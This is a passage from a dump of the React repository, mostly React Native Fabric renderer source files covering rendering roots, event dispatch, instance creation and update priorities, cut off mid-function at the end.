 expect(caughtErrors[0].error).toBe(thrownError);\n      expect(normalizeCodeLocInfo(caughtErrors[0].parentStack)).toBe(\n        __DEV__\n          ? '\\n    in Baz (at **)' +\n              '\\n    in div (at **)' +\n              '\\n    in Bar (at **)' +\n              '\\n    in Foo (at **)' +\n              '\\n    in div (at **)'\n          : '\\n    in div (at **)' + '\\n    in div (at **)',\n      );\n      expect(normalizeCodeLocInfo(caughtErrors[0].ownerStack)).toBe(\n        __DEV__ ? '\\n    in Bar (at **)' + '\\n    in Foo (at **)' : null,\n      );\n    });\n  });\n}\n"
  },
  {
    "path": "packages/react-native-renderer/fabric.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactFabricType} from './src/ReactNativeTypes';\nimport * as ReactFabric from './src/ReactFabric';\n// Assert that the exports line up with the type we're going to expose.\n(ReactFabric: ReactFabricType);\n\nexport * from './src/ReactFabric';\n"
  },
  {
    "path": "packages/react-native-renderer/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNativeType} from './src/ReactNativeTypes';\nimport * as ReactNative from './src/ReactNativeRenderer';\n// Assert that the exports line up with the type we're going to expose.\n(ReactNative: ReactNativeType);\n\n// TODO: Delete the legacy renderer, only Fabric is used now.\nexport * from './src/ReactNativeRenderer';\n"
  },
  {
    "path": "packages/react-native-renderer/package.json",
    "content": "{\n  \"name\": \"react-native-renderer\",\n  \"version\": \"16.0.0\",\n  \"private\": true,\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-native-renderer\"\n  },\n  \"dependencies\": {\n    \"scheduler\": \"^0.28.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^18.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/NativeMethodsMixinUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * In the future, we should cleanup callbacks by cancelling them instead of\n * using this.\n */\nexport function mountSafeCallback_NOT_REALLY_SAFE(\n  context: any,\n  callback: ?Function,\n): any {\n  return function () {\n    if (!callback) {\n      return undefined;\n    }\n    // This protects against createClass() components.\n    // We don't know if there is code depending on it.\n    // We intentionally don't use isMounted() because even accessing\n    // isMounted property on a React ES6 class will trigger a warning.\n    if (typeof context.__isMounted === 'boolean') {\n      if (!context.__isMounted) {\n        return undefined;\n      }\n    }\n\n    // FIXME: there used to be other branches that protected\n    // against unmounted host components. But RN host components don't\n    // define isMounted() anymore, so those checks didn't do anything.\n\n    // They caused false positive warning noise so we removed them:\n    // https://github.com/facebook/react-native/issues/18868#issuecomment-413579095\n\n    // However, this means that the callback is NOT guaranteed to be safe\n    // for host components. The solution we should implement is to make\n    // UIManager.measure() and similar calls truly cancelable. Then we\n    // can change our own code calling them to cancel when something unmounts.\n\n    return callback.apply(context, arguments);\n  };\n}\n\nexport function warnForStyleProps(props: any, validAttributes: any) {\n  if (__DEV__) {\n    for (const key in validAttributes.style) {\n      if (!(validAttributes[key] || props[key] === undefined)) {\n        console.error(\n          'You are setting the style `{ %s' +\n            ': ... }` as a prop. You ' +\n            'should nest it in a style object. ' +\n            'E.g. `{ style: { %s' +\n            ': ... } }`',\n          key,\n          key,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFabric.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactPortal, ReactNodeList} from 'shared/ReactTypes';\nimport type {ElementRef, Element, ElementType} from 'react';\nimport type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {RenderRootOptions} from './ReactNativeTypes';\n\nimport './ReactFabricInjection';\n\nimport {\n  batchedUpdates as batchedUpdatesImpl,\n  discreteUpdates,\n  createContainer,\n  updateContainer,\n  injectIntoDevTools,\n  getPublicRootInstance,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from 'react-reconciler/src/ReactFiberReconciler';\n\nimport {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';\nimport {setBatchingImplementation} from './legacy-events/ReactGenericBatching';\n\nimport {LegacyRoot, ConcurrentRoot} from 'react-reconciler/src/ReactRootTags';\nimport {\n  findHostInstance_DEPRECATED,\n  findNodeHandle,\n  dispatchCommand,\n  sendAccessibilityEvent,\n  getNodeFromInternalInstanceHandle,\n  isChildPublicInstance,\n} from './ReactNativePublicCompat';\nimport {getPublicInstanceFromInternalInstanceHandle} from './ReactFiberConfigFabric';\n\n// Module provided by RN:\nimport {\n  ReactFiberErrorDialog,\n  createPublicRootInstance,\n  type PublicRootInstance,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport {\n  disableLegacyMode,\n  enableDefaultTransitionIndicator,\n} from 'shared/ReactFeatureFlags';\n\nif (typeof ReactFiberErrorDialog.showErrorDialog !== 'function') {\n  throw new Error(\n    'Expected ReactFiberErrorDialog.showErrorDialog to be a function.',\n  );\n}\n\nfunction nativeOnUncaughtError(\n  error: mixed,\n  errorInfo: {+componentStack?: ?string},\n): void {\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialog.showErrorDialog({\n    errorBoundary: null,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnUncaughtError(error, errorInfo);\n}\nfunction nativeOnCaughtError(\n  error: mixed,\n  errorInfo: {\n    +componentStack?: ?string,\n    +errorBoundary?: ?component(...props: any),\n  },\n): void {\n  const errorBoundary = errorInfo.errorBoundary;\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialog.showErrorDialog({\n    errorBoundary,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnCaughtError(error, errorInfo);\n}\nfunction nativeOnDefaultTransitionIndicator(): void | (() => void) {\n  // Native doesn't have a default indicator.\n}\n\nfunction render(\n  element: Element<ElementType>,\n  containerTag: number,\n  callback: ?() => void,\n  concurrentRoot: ?boolean,\n  options: ?RenderRootOptions,\n): ?ElementRef<ElementType> {\n  if (disableLegacyMode && !concurrentRoot) {\n    throw new Error('render: Unsupported Legacy Mode API.');\n  }\n\n  let root = roots.get(containerTag);\n\n  if (!root) {\n    // TODO: these defaults are for backwards compatibility.\n    // Once RN implements these options internally,\n    // we can remove the defaults and ReactFiberErrorDialog.\n    let onUncaughtError = nativeOnUncaughtError;\n    let onCaughtError = nativeOnCaughtError;\n    let onRecoverableError = defaultOnRecoverableError;\n\n    if (options && options.onUncaughtError !== undefined) {\n      onUncaughtError = options.onUncaughtError;\n    }\n    if (options && options.onCaughtError !== undefined) {\n      onCaughtError = options.onCaughtError;\n    }\n    if (options && options.onRecoverableError !== undefined) {\n      onRecoverableError = options.onRecoverableError;\n    }\n    let onDefaultTransitionIndicator = nativeOnDefaultTransitionIndicator;\n    if (enableDefaultTransitionIndicator) {\n      if (options && options.onDefaultTransitionIndicator !== undefined) {\n        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;\n      }\n    }\n\n    const publicRootInstance = createPublicRootInstance(containerTag);\n    const rootInstance = {\n      publicInstance: publicRootInstance,\n      containerTag,\n    };\n\n    // TODO (bvaughn): If we decide to keep the wrapper component,\n    // We could create a wrapper for containerTag as well to reduce special casing.\n    root = createContainer(\n      rootInstance,\n      concurrentRoot ? ConcurrentRoot : LegacyRoot,\n      null,\n      false,\n      null,\n      '',\n      onUncaughtError,\n      onCaughtError,\n      onRecoverableError,\n      onDefaultTransitionIndicator,\n      null,\n    );\n\n    roots.set(containerTag, root);\n  }\n  updateContainer(element, root, null, callback);\n\n  return getPublicRootInstance(root);\n}\n\n// $FlowFixMe[missing-this-annot]\nfunction unmountComponentAtNode(containerTag: number) {\n  this.stopSurface(containerTag);\n}\n\nfunction stopSurface(containerTag: number) {\n  const root = roots.get(containerTag);\n  if (root) {\n    // TODO: Is it safe to reset this now or should I wait since this unmount could be deferred?\n    updateContainer(null, root, null, () => {\n      // Remove the reference to the public instance to prevent memory leaks.\n      root.containerInfo.publicInstance = null;\n\n      roots.delete(containerTag);\n    });\n  }\n}\n\nfunction createPortal(\n  children: ReactNodeList,\n  containerTag: number,\n  key: ?string = null,\n): ReactPortal {\n  return createPortalImpl(children, containerTag, null, key);\n}\n\nfunction getPublicInstanceFromRootTag(\n  rootTag: number,\n): PublicRootInstance | null {\n  const root = roots.get(rootTag);\n  if (root) {\n    return root.containerInfo.publicInstance;\n  }\n  return null;\n}\n\nsetBatchingImplementation(batchedUpdatesImpl, discreteUpdates);\n\nconst roots = new Map<number, FiberRoot>();\n\nexport {\n  // This is needed for implementation details of TouchableNativeFeedback\n  // Remove this once TouchableNativeFeedback doesn't use cloneElement\n  findHostInstance_DEPRECATED,\n  findNodeHandle,\n  dispatchCommand,\n  sendAccessibilityEvent,\n  render,\n  // Deprecated - this function is being renamed to stopSurface, use that instead.\n  // TODO (T47576999): Delete this once it's no longer called from native code.\n  unmountComponentAtNode,\n  stopSurface,\n  createPortal,\n  // The public instance has a reference to the internal instance handle.\n  // This method allows it to acess the most recent shadow node for\n  // the instance (it's only accessible through it).\n  getNodeFromInternalInstanceHandle,\n  // Fabric native methods to traverse the host tree return the same internal\n  // instance handles we use to dispatch events. This provides a way to access\n  // the public instances we created from them (potentially created lazily).\n  getPublicInstanceFromInternalInstanceHandle,\n  // Returns the document instance for that root tag.\n  getPublicInstanceFromRootTag,\n  // DEV-only:\n  isChildPublicInstance,\n};\n\ninjectIntoDevTools();\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFabricComponentTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {\n  PublicInstance,\n  Instance,\n  Props,\n  TextInstance,\n} from './ReactFiberConfigFabric';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport {getPublicInstance} from './ReactFiberConfigFabric';\n\n// `node` is typed incorrectly here. The proper type should be `PublicInstance`.\n// This is ok in DOM because they types are interchangeable, but in React Native\n// they aren't.\nfunction getInstanceFromNode(node: Instance | TextInstance): Fiber | null {\n  const instance: Instance = (node: $FlowFixMe); // In React Native, node is never a text instance\n\n  if (\n    instance.canonical != null &&\n    instance.canonical.internalInstanceHandle != null\n  ) {\n    return instance.canonical.internalInstanceHandle;\n  }\n\n  // $FlowFixMe[incompatible-return] DevTools incorrectly passes a fiber in React Native.\n  return node;\n}\n\nfunction getNodeFromInstance(fiber: Fiber): PublicInstance {\n  const publicInstance = getPublicInstance(fiber.stateNode);\n\n  if (publicInstance == null) {\n    throw new Error('Could not find host instance from fiber');\n  }\n\n  return publicInstance;\n}\n\nfunction getFiberCurrentPropsFromNode(instance: Instance): Props {\n  return instance.canonical.currentProps;\n}\n\nexport {\n  getInstanceFromNode,\n  getInstanceFromNode as getClosestInstanceFromNode,\n  getNodeFromInstance,\n  getFiberCurrentPropsFromNode,\n};\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFabricEventEmitter.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  AnyNativeEvent,\n  LegacyPluginModule,\n} from './legacy-events/PluginModuleType';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactSyntheticEvent} from './legacy-events/ReactSyntheticEventType';\nimport type {\n  RNTopLevelEventType,\n  TopLevelType,\n} from './legacy-events/TopLevelEventTypes';\n\nimport {\n  registrationNameModules,\n  plugins,\n} from './legacy-events/EventPluginRegistry';\nimport {batchedUpdates} from './legacy-events/ReactGenericBatching';\nimport accumulateInto from './legacy-events/accumulateInto';\n\nimport getListener from './ReactNativeGetListener';\nimport {runEventsInBatch} from './legacy-events/EventBatching';\n\nimport {RawEventEmitter} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport {getPublicInstance} from './ReactFiberConfigFabric';\n\nexport {getListener, registrationNameModules as registrationNames};\n\n/**\n * Allows registered plugins an opportunity to extract events from top-level\n * native browser events.\n *\n * @return {*} An accumulation of synthetic events.\n * @internal\n */\nfunction extractPluginEvents(\n  topLevelType: TopLevelType,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n): Array<ReactSyntheticEvent> | ReactSyntheticEvent | null {\n  let events: Array<ReactSyntheticEvent> | ReactSyntheticEvent | null = null;\n  const legacyPlugins = ((plugins: any): Array<LegacyPluginModule<Event>>);\n  for (let i = 0; i < legacyPlugins.length; i++) {\n    // Not every plugin in the ordering may be loaded at runtime.\n    const possiblePlugin: LegacyPluginModule<AnyNativeEvent> = legacyPlugins[i];\n    if (possiblePlugin) {\n      const extractedEvents = possiblePlugin.extractEvents(\n        topLevelType,\n        targetInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      if (extractedEvents) {\n        events = accumulateInto(events, extractedEvents);\n      }\n    }\n  }\n  return events;\n}\n\nfunction runExtractedPluginEventsInBatch(\n  topLevelType: TopLevelType,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n) {\n  const events = extractPluginEvents(\n    topLevelType,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  runEventsInBatch(events);\n}\n\nexport function dispatchEvent(\n  target: null | Object,\n  topLevelType: RNTopLevelEventType,\n  nativeEvent: AnyNativeEvent,\n) {\n  const targetFiber = (target: null | Fiber);\n\n  let eventTarget = null;\n  if (targetFiber != null) {\n    const stateNode = targetFiber.stateNode;\n    // Guard against Fiber being unmounted\n    if (stateNode != null) {\n      // $FlowExpectedError[incompatible-cast] public instances in Fabric do not implement `EventTarget` yet.\n      eventTarget = (getPublicInstance(stateNode): EventTarget);\n    }\n  }\n\n  batchedUpdates(function () {\n    // Emit event to the RawEventEmitter. This is an unused-by-default EventEmitter\n    // that can be used to instrument event performance monitoring (primarily - could be useful\n    // for other things too).\n    //\n    // NOTE: this merely emits events into the EventEmitter below.\n    // If *you* do not add listeners to the `RawEventEmitter`,\n    // then all of these emitted events will just blackhole and are no-ops.\n    // It is available (although not officially supported... yet) if you want to collect\n    // perf data on event latency in your application, and could also be useful for debugging\n    // low-level events issues.\n    //\n    // If you do not have any event perf monitoring and are extremely concerned about event perf,\n    // it is safe to disable these \"emit\" statements; it will prevent checking the size of\n    // an empty array twice and prevent two no-ops. Practically the overhead is so low that\n    // we don't think it's worth thinking about in prod; your perf issues probably lie elsewhere.\n    //\n    // We emit two events here: one for listeners to this specific event,\n    // and one for the catchall listener '*', for any listeners that want\n    // to be notified for all events.\n    // Note that extracted events are *not* emitted,\n    // only events that have a 1:1 mapping with a native event, at least for now.\n    const event = {eventName: topLevelType, nativeEvent};\n    // $FlowFixMe[class-object-subtyping] found when upgrading Flow\n    RawEventEmitter.emit(topLevelType, event);\n    // $FlowFixMe[class-object-subtyping] found when upgrading Flow\n    RawEventEmitter.emit('*', event);\n\n    // Heritage plugin event system\n    runExtractedPluginEventsInBatch(\n      topLevelType,\n      targetFiber,\n      nativeEvent,\n      eventTarget,\n    );\n  });\n  // React Native doesn't use ReactControlledComponent but if it did, here's\n  // where it would do it.\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFabricGlobalResponderHandler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst ReactFabricGlobalResponderHandler = {\n  onChange: function (from: any, to: any, blockNativeResponder: boolean) {\n    if (from && from.stateNode) {\n      // equivalent to clearJSResponder\n      nativeFabricUIManager.setIsJSResponder(\n        from.stateNode.node,\n        false,\n        blockNativeResponder || false,\n      );\n    }\n\n    if (to && to.stateNode) {\n      // equivalent to setJSResponder\n      nativeFabricUIManager.setIsJSResponder(\n        to.stateNode.node,\n        true,\n        blockNativeResponder || false,\n      );\n    }\n  },\n};\n\nexport default ReactFabricGlobalResponderHandler;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFabricInjection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport './ReactNativeInjectionShared';\n\nimport {\n  getFiberCurrentPropsFromNode,\n  getInstanceFromNode,\n  getNodeFromInstance,\n} from './ReactFabricComponentTree';\nimport {setComponentTree} from './legacy-events/EventPluginUtils';\nimport ReactFabricGlobalResponderHandler from './ReactFabricGlobalResponderHandler';\nimport ResponderEventPlugin from './legacy-events/ResponderEventPlugin';\n\nsetComponentTree(\n  getFiberCurrentPropsFromNode,\n  getInstanceFromNode,\n  getNodeFromInstance,\n);\n\nResponderEventPlugin.injection.injectGlobalResponderHandler(\n  ReactFabricGlobalResponderHandler,\n);\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFiberConfigFabric.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  InspectorData,\n  TouchedViewDataAtPoint,\n  ViewConfig,\n} from './ReactNativeTypes';\nimport {dispatchEvent} from './ReactFabricEventEmitter';\nimport {\n  NoEventPriority,\n  DefaultEventPriority,\n  DiscreteEventPriority,\n  ContinuousEventPriority,\n  IdleEventPriority,\n  type EventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport {HostText} from 'react-reconciler/src/ReactWorkTags';\nimport {\n  getFragmentParentHostFiber,\n  traverseFragmentInstance,\n} from 'react-reconciler/src/ReactFiberTreeReflection';\n\n// Modules provided by RN:\nimport {\n  ReactNativeViewConfigRegistry,\n  deepFreezeAndThrowOnMutationInDev,\n  createPublicInstance,\n  createPublicTextInstance,\n  createAttributePayload,\n  diffAttributePayloads,\n  type PublicInstance as ReactNativePublicInstance,\n  type PublicTextInstance,\n  type PublicRootInstance,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport {\n  enableFragmentRefsInstanceHandles,\n  enableFragmentRefsTextNodes,\n} from 'shared/ReactFeatureFlags';\n\nconst {\n  createNode,\n  cloneNodeWithNewChildren,\n  cloneNodeWithNewChildrenAndProps,\n  cloneNodeWithNewProps,\n  createChildSet: createChildNodeSet,\n  appendChild: appendChildNode,\n  appendChildToSet: appendChildNodeToSet,\n  completeRoot,\n  registerEventHandler,\n  unstable_DefaultEventPriority: FabricDefaultPriority,\n  unstable_DiscreteEventPriority: FabricDiscretePriority,\n  unstable_ContinuousEventPriority: FabricContinuousPriority,\n  unstable_IdleEventPriority: FabricIdlePriority,\n  unstable_getCurrentEventPriority: fabricGetCurrentEventPriority,\n} = nativeFabricUIManager;\n\nimport {getClosestInstanceFromNode} from './ReactFabricComponentTree';\nimport {compareDocumentPositionForEmptyFragment} from 'shared/ReactDOMFragmentRefShared';\n\nimport {\n  getInspectorDataForViewTag,\n  getInspectorDataForViewAtPoint,\n  getInspectorDataForInstance,\n} from './ReactNativeFiberInspector';\n\nimport {passChildrenWhenCloningPersistedNodes} from 'shared/ReactFeatureFlags';\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\nimport type {ReactContext} from 'shared/ReactTypes';\n\nexport {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.\nexport const rendererPackageName = 'react-native-renderer';\nexport const extraDevToolsConfig = {\n  getInspectorDataForInstance,\n  getInspectorDataForViewTag,\n  getInspectorDataForViewAtPoint,\n};\n\nconst {get: getViewConfigForType} = ReactNativeViewConfigRegistry;\n\n// Counter for uniquely identifying views.\n// % 10 === 1 means it is a rootTag.\n// % 2 === 0 means it is a Fabric tag.\n// This means that they never overlap.\nlet nextReactTag = 2;\n\ntype InternalInstanceHandle = Object;\n\nexport type Type = string;\nexport type Props = Object;\nexport type Instance = {\n  // Reference to the shadow node.\n  node: Node,\n  // This object is shared by all the clones of the instance.\n  // We use it to access their shared public instance (exposed through refs)\n  // and to access its committed state for events, etc.\n  canonical: {\n    nativeTag: number,\n    viewConfig: ViewConfig,\n    currentProps: Props,\n    // Reference to the React handle (the fiber)\n    internalInstanceHandle: InternalInstanceHandle,\n    // Exposed through refs. Potentially lazily created.\n    publicInstance: PublicInstance | null,\n    // This is only necessary to lazily create `publicInstance`.\n    // Will be set to `null` after that is created.\n    publicRootInstance?: PublicRootInstance | null,\n  },\n};\nexport type TextInstance = {\n  // Reference to the shadow node.\n  node: Node,\n  // Text instances are never cloned, so we don't need to keep a \"canonical\"\n  // reference to make sure all clones of the instance point to the same values.\n  publicInstance?: PublicTextInstance,\n};\nexport type HydratableInstance = Instance | TextInstance;\nexport type PublicInstance = ReactNativePublicInstance;\ntype PublicInstanceWithFragmentHandles = PublicInstance & {\n  reactFragments?: Set<FragmentInstanceType>,\n};\nexport type Container = {\n  containerTag: number,\n  publicInstance: PublicRootInstance | null,\n};\nexport type ChildSet = Object | Array<Node>;\nexport type HostContext = $ReadOnly<{\n  isInAParentText: boolean,\n}>;\nexport type UpdatePayload = Object;\n\nexport type TimeoutHandle = TimeoutID;\nexport type NoTimeout = -1;\nexport type TransitionStatus = mixed;\n\nexport type RendererInspectionConfig = $ReadOnly<{\n  getInspectorDataForInstance?: (instance: Fiber | null) => InspectorData,\n  // Deprecated. Replaced with getInspectorDataForViewAtPoint.\n  getInspectorDataForViewTag?: (tag: number) => Object,\n  getInspectorDataForViewAtPoint?: (\n    inspectedView: Object,\n    locationX: number,\n    locationY: number,\n    callback: (viewData: TouchedViewDataAtPoint) => mixed,\n  ) => void,\n}>;\n\n// TODO: Remove this conditional once all changes have propagated.\nif (registerEventHandler) {\n  /**\n   * Register the event emitter with the native bridge\n   */\n  registerEventHandler(dispatchEvent);\n}\n\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoMutation';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoHydration';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoScopes';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoTestSelectors';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoResources';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoSingletons';\nexport * from './ReactFiberConfigFabricWithViewTransition';\n\nexport function appendInitialChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  appendChildNode(parentInstance.node, child.node);\n}\n\nconst PROD_HOST_CONTEXT: HostContext = {isInAParentText: true};\n\nexport function createInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: InternalInstanceHandle,\n): Instance {\n  const tag = nextReactTag;\n  nextReactTag += 2;\n\n  const viewConfig = getViewConfigForType(type);\n\n  if (__DEV__) {\n    for (const key in viewConfig.validAttributes) {\n      if (props.hasOwnProperty(key)) {\n        deepFreezeAndThrowOnMutationInDev(props[key]);\n      }\n    }\n  }\n\n  const updatePayload = createAttributePayload(\n    props,\n    viewConfig.validAttributes,\n  );\n\n  const node = createNode(\n    tag, // reactTag\n    viewConfig.uiViewClassName, // viewName\n    rootContainerInstance.containerTag, // rootTag\n    updatePayload, // props\n    internalInstanceHandle, // internalInstanceHandle\n  );\n\n  return {\n    node: node,\n    canonical: {\n      nativeTag: tag,\n      viewConfig,\n      currentProps: props,\n      internalInstanceHandle,\n      publicInstance: null,\n      publicRootInstance: rootContainerInstance.publicInstance,\n    },\n  };\n}\n\nexport function createTextInstance(\n  text: string,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: InternalInstanceHandle,\n): TextInstance {\n  if (__DEV__) {\n    if (!hostContext.isInAParentText) {\n      console.error('Text strings must be rendered within a <Text> component.');\n    }\n  }\n\n  const tag = nextReactTag;\n  nextReactTag += 2;\n\n  const node = createNode(\n    tag, // reactTag\n    'RCTRawText', // viewName\n    rootContainerInstance.containerTag, // rootTag\n    {text: text}, // props\n    internalInstanceHandle, // instance handle\n  );\n\n  return {\n    node: node,\n  };\n}\n\nexport function finalizeInitialChildren(\n  parentInstance: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): boolean {\n  return false;\n}\n\nexport function getRootHostContext(\n  rootContainerInstance: Container,\n): HostContext {\n  if (__DEV__) {\n    return {isInAParentText: false};\n  }\n\n  return PROD_HOST_CONTEXT;\n}\n\nexport function getChildHostContext(\n  parentHostContext: HostContext,\n  type: string,\n): HostContext {\n  if (__DEV__) {\n    const prevIsInAParentText = parentHostContext.isInAParentText;\n    const isInAParentText =\n      type === 'AndroidTextInput' || // Android\n      type === 'RCTMultilineTextInputView' || // iOS\n      type === 'RCTSelectableText' ||\n      type === 'RCTSinglelineTextInputView' || // iOS\n      type === 'RCTText' ||\n      type === 'RCTVirtualText';\n\n    // TODO: If this is an offscreen host container, we should reuse the\n    // parent context.\n\n    if (prevIsInAParentText !== isInAParentText) {\n      return {isInAParentText};\n    }\n  }\n\n  return parentHostContext;\n}\n\nexport function getPublicInstance(instance: Instance): null | PublicInstance {\n  if (instance.canonical != null) {\n    if (instance.canonical.publicInstance == null) {\n      instance.canonical.publicInstance = createPublicInstance(\n        instance.canonical.nativeTag,\n        instance.canonical.viewConfig,\n        instance.canonical.internalInstanceHandle,\n        instance.canonical.publicRootInstance ?? null,\n      );\n      // This was only necessary to create the public instance.\n      instance.canonical.publicRootInstance = null;\n    }\n\n    return instance.canonical.publicInstance;\n  }\n\n  // Handle root containers\n  if (instance.containerInfo != null) {\n    if (instance.containerInfo.publicInstance != null) {\n      return instance.containerInfo.publicInstance;\n    }\n  }\n\n  // For compatibility with the legacy renderer, in case it's used with Fabric\n  // in the same app.\n  // $FlowExpectedError[prop-missing]\n  if (instance._nativeTag != null) {\n    // $FlowExpectedError[incompatible-return]\n    return instance;\n  }\n\n  return null;\n}\n\nfunction getPublicTextInstance(\n  textInstance: TextInstance,\n  internalInstanceHandle: InternalInstanceHandle,\n): PublicTextInstance {\n  if (textInstance.publicInstance == null) {\n    textInstance.publicInstance = createPublicTextInstance(\n      internalInstanceHandle,\n    );\n  }\n  return textInstance.publicInstance;\n}\n\nexport function getPublicInstanceFromInternalInstanceHandle(\n  internalInstanceHandle: InternalInstanceHandle,\n): null | PublicInstance | PublicTextInstance {\n  const instance = internalInstanceHandle.stateNode;\n\n  // React resets all the fields in the fiber when the component is unmounted\n  // to prevent memory leaks.\n  if (instance == null) {\n    return null;\n  }\n\n  if (internalInstanceHandle.tag === HostText) {\n    const textInstance: TextInstance = instance;\n    return getPublicTextInstance(textInstance, internalInstanceHandle);\n  }\n\n  const elementInstance: Instance = internalInstanceHandle.stateNode;\n  return getPublicInstance(elementInstance);\n}\n\nfunction getPublicInstanceFromHostFiber(fiber: Fiber): PublicInstance {\n  const publicInstance = getPublicInstance(fiber.stateNode);\n  if (publicInstance === null) {\n    throw new Error('Expected to find a host node. This is a bug in React.');\n  }\n  return publicInstance;\n}\n\nexport function prepareForCommit(containerInfo: Container): null | Object {\n  // Noop\n  return null;\n}\n\nexport function resetAfterCommit(containerInfo: Container): void {\n  // Noop\n}\n\nexport function shouldSetTextContent(type: string, props: Props): boolean {\n  // TODO (bvaughn) Revisit this decision.\n  // Always returning false simplifies the createInstance() implementation,\n  // But creates an additional child Fiber for raw text children.\n  // No additional native views are created though.\n  // It's not clear to me which is better so I'm deferring for now.\n  // More context @ github.com/facebook/react/pull/8560#discussion_r92111303\n  return false;\n}\n\nlet currentUpdatePriority: EventPriority = NoEventPriority;\nexport function setCurrentUpdatePriority(newPriority: EventPriority): void {\n  currentUpdatePriority = newPriority;\n}\n\nexport function getCurrentUpdatePriority(): EventPriority {\n  return currentUpdatePriority;\n}\n\nexport function resolveUpdatePriority(): EventPriority {\n  if (currentUpdatePriority !== NoEventPriority) {\n    return currentUpdatePriority;\n  }\n\n  const currentEventPriority = fabricGetCurrentEventPriority\n    ? fabricGetCurrentEventPriority()\n    : null;\n\n  if (currentEventPriority != null) {\n    switch (currentEventPriority) {\n      case FabricDiscretePriority:\n        return DiscreteEventPriority;\n      case FabricContinuousPriority:\n        return ContinuousEventPriority;\n      case FabricIdlePriority:\n        return IdleEventPriority;\n      case FabricDefaultPriority:\n      default:\n        return DefaultEventPriority;\n    }\n  }\n\n  return DefaultEventPriority;\n}\n\nlet schedulerEvent: void | Event = undefined;\nexport function trackSchedulerEvent(): void {\n  schedulerEvent = global.event;\n}\n\nfunction getEventType(event: Event): null | string {\n  if (event.type) {\n    return event.type;\n  }\n\n  // Legacy implementation. RN does not define the `type` property on the event object yet.\n  // $FlowExpectedError[prop-missing]\n  const dispatchConfig = 